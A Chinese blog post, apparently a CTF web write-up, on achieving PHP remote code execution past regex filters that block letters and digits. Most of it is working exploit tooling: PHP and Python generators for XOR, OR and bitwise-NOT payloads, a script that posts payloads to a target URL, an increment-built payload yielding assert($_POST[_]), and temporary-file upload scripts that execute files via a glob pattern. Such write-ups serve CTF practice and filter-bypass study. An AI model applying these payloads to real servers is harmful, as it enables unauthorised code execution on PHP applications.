CTF-WEB-无数字字母rce

已于 2023-11-25 22:54:37 修改
阅读量489 收藏 2
点赞数 1
文章标签： 前端
于 2023-11-17 14:22:55 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_74317362/article/details/134461470
版权
文章讲述了如何利用无数字字母的字符，如异或、或、取反、自增等技术，构造payload来绕过PHP中的正则表达式过滤，实现对系统的无字母数字命令执行，包括手动和自动方式，以及上传临时文件的方法。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

。知识

1.1 介绍

无数字字母rce，就和他的名字一样，就是不利用字母和数字构造webshell，从而绕过对方的过滤

手段。

对于无数字字母rce可以处理的过滤手段如下

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

很明显，在这个程序中，数字和字符全部被过滤掉了，便排除了原来的手段。

无数字字母rce的原理是什么呢，是利用各种非数字字母字符，经过各种变换，比如异或，取反，

自增，构造成单个字母字符，然后把单个字母字符拼接成原构造的payload

2.1 上脚本

重点注意：

  • 很神奇的是
  • 下面的脚本，如果是可以改动正则表达式的
  • 如果你再正则表达式里没有加上数字和字母的过滤，你做不出来

题目例子

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
    die('hacker');
}
eval($code);

我们下面以命令system('ls')为例

(1) 异或–Successfully reproduced

先运行php代码，再运行python脚本

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);


# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))+";"
   print(param)

运行结果

[+] your function：system
[+] your command：ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

(2) 或–Successfully reproduced

① 手动挡–手动传参

原理是一样的，只需要在上面的脚本上稍加改动即可

<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);


# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))+";"
   print(param)

运行结果

[+] your function：system
[+] your command：ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

② 自动挡–python传参

php

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

python

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER：python exp.py <url>')
   print("eg：  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

(3) 取反–Successfully reproduced

因为取反的话，基本上用的都是一个不可见字符，所有不会触发到正则表达式，我们一个php脚本就可以了

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

运行结果

[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);

(4) 自增–Reproduction failure

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入   _=phpinfo();

(5) 上传临时文件–Successfully reproduced

system

无字母数字的命令执行

burpsuit
看链接

脚本

#多尝试几次：最后一位可能不是大写字母
#注意：创造循环失败了

import requests
url="http://9e663758-139f-4313-bee5-18323f84f4a9.challenge.ctf.show/?c=. /???/????????[@-[]"
files={'file':'ls'}
response=requests.post(url,files=files)
html = response.text
print(html)

正常传参

脚本：

#多尝试几次：最后一位可能不是大写字母
#注意：创造循环失败了

import requests
url="http://xxx/test.php?c=?><?=`. /???/????????[@-[]`;?>"
files={'file':'ls'}
response=requests.post(url,files=files)
html = response.text
print(html)

。 参考

无数字字母rce

RCE篇之无数字字母rce

无字母数字绕过正则表达式总结（含上传临时文件、异或、或、取反、自增脚本）

。例题

rce去看

[鹏城杯 2022]简单的php - 无数字字母RCE(取反)【*】
oZuoShen123的博客
10-08 934
分析题目 参数：code 特点：1、参数值长度不能超过80 　　　2、不能输入数字字母，仅这一点就可以排除常规做法。所以这题利用取反+RCE来做
[Hello-CTF]RCE-Labs超详细WP-Level10(无字母命令执行_二进制整数替换)
最新发布
qq_39673370的博客
03-12 1140
无字母命令执行_二进制整数替换
ctfshow之web55~web57（无字母的rce）
qq_1182418846的博客
08-31 1394
声明：本章内容是引荐几位师傅的博客，然后根据自己的理解编写而成。
无字母数字rce(ctfshow web入门56)
L1ni01
11-01 4012
无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗？ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); } 过滤
无数字字母rce总结（取反、异或、自增）
qq_45392044的博客
02-24 972
成功获取到了字符Array，然后我们获取想获取A的话，就可以采用[0]这种方式来获取，但我们是不能够写数字的，所以我们这里可以用一个判断,比如我们在[]里加一个==，此时因为空和不同，它就会输出0，此时也就等同于_[0]，具体实现代码如下。我们在构造POST中的时，正常操作的话是这样，a='_'.b(假设这里b就是POST)，然后这个时候如果'被ban，看似这里是无法再利用了，但其实，我们直接写a=.b也是可以的，这个时候效果同上而且缩短了字符长度。什么是异或，我们这里举一个例子，我们将字符 A。
无字母数字RCE
yourdawntown的博客
09-06 2145
版本为php5 php5中assert是一个函数，我们可以通过f=′assert′;f='assert';f=′assert′;f(…);这样的方法来动态执行任意代码。 但php7中，assert不再是函数，变成了一个语言结构（类似eval），不能再作为函数名动态执行代码，所以利用起来稍微复杂一点。但也无需过于担心，比如我们利用file_put_contents函数，同样可以用来getshell。 无数字和字母rce 测试代码 <?php if(!preg_match('/[a-z0-9]/is',
BUUCTF一道无字母数字RCE题目
m0_74989372的博客
08-16 346
接下来到了绕过disable_function阶段，在蚁剑的工具里有绕过的插件（插件市场里挂vpn下载），选择模式运行后会自动打开一个虚拟终端，此时运行readflag文件即可得到flag。换一种思路，构造我们动态调用的地方，第一个小括号内为_GET的取反，也就是说$_就相当于_GET，下图的含义为$_GET[__]($_GET[___]);此时我们拥有了__和___两个可以动态调用的点，接下来传参，第二个数值在括号里面，所以可以用eval，测试木马发现可以执行。换用phpinfo()试试。
无字母数字rce总结（自增、取反、异或、或、临时文件上传）
whale_waves的博客
02-29 2902
临时文件上传 通过上传文件然后用符号.调用执行文件 第一个知识点： 通过post上传文件，此时php会在linux里的零时文件夹保存文件，且文件一定是php加上六个随机的字符 /tmp/php?????? 这个应php保存的临时文件会有一个特性，就是这6个随机的字符会出现大写的情况 例如： 普通文件/tmp/adcabcabc php保存的临时文件/tmp/phpAvxAsa 第二个知识点： 现在直到了文件上传的位置以及特性那么现在要怎么利用它 shell下支持使用. 来
ctfshow web41 无字母数字命令执行
Sapphire037的博客
10-30 2690
1 首先,捋一捋思路，我们可以先看过滤的字符 比如/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i或者/[a-z0-9]/is 这里可以先看P神的一些不包含数字和字母的webshell ，大概意思就是通过一些字符互相运算后构造得到我们的payload，了解基本原理之后，我们再看ctfshow中的这样一道例题 <?php /* # -*- coding: utf-8 -*- # @Author: 羽 # @Date: 2020-09-05 20:31
ctfshow(41)--RCE/命令执行漏洞--或绕过
m0_56019217的博客
10-24 623
的值与target中相应的字符串相同，就将两个url编码变量储存在res1和res2中，再跳出到最外层循环，继续运算下一个字符。这是因为16以下的十进制数字的十六进制形式都是一位数，而ASCII码中的符号的十六进制编码都是两位，不足两位的要在前面补零。中字符的索引，从第一个字符，即索引为0的字符开始，依次运算到最后一个字符，即。从0开始，到255为止，对应的是ASCII码中的256个编码的序号。是一个正则形式的字符串，储存的是题目过滤的字符。，即loop的值为false时，跳出该层循环。
无参数 rce.md
04-01
记录一下，关于这次比赛的 wp >.< 并向大佬们积极学习 >.< 顺便混点分
无数字字母rce总结（取反、异或、自增、临时文件）
热门推荐
东隅的博客
09-27 1万+
无数字字母rce的知识点、poc、exp（取反、异或、自增、临时文件）
RCE——远程命令执行（无字母数字篇）
m0_69151365的博客
08-10 1345
这道题属于是一个无字母无数字的题目，除了高版本的解法之外，我们更应该关注通用版本的解法，我们主要利用的php代码文件上传在代码执行完之前会存放在临时文件里，我们利用它的默认命名方式来进行一个正则匹配，而且Linux一般文件都不会用大写命名，从而写出这个正则来进行匹配。
无字母RCE
qq_64201116的博客
06-23 1928
无字母RCE你到底有多懂，看了也许会更进一步
ctfshow-web入门56（再次理解无数字字母rce）
qq_44657899的博客
10-18 1997
前言 之前做过一道红包题第二弹，这里也是同样的解法，但是新学到了很多知识点，记录一下。 这个解法，p神的文章讲的很清楚无字母数字webshell之提高篇 文章目录前言glob通配符. 执行文件不需要x权限题解 glob通配符 因为只有PHP生成的临时文件包含大写字母，所以可以用/???/????????[@-[]来匹配我们上传的临时文件。 原理： 翻开ascii码表，可见大写字母位于@与[之间： 那么，我们可以利用[@-[]来表示大写字母： . 执行文件不需要x权限 题解 注意传参方式为POST。
PHP在CTF-Web挑战中的实战应用技巧
标题和描述中提到的知识点是关于在Web环境中使用PHP编程语言进行CTF（Capture The Flag）挑战的介绍。...在CTF-Web-Challenge的环境中，参赛者将有机会通过实战演练这些技术，提升自己的安全技能。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小蜗牛狂飙记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值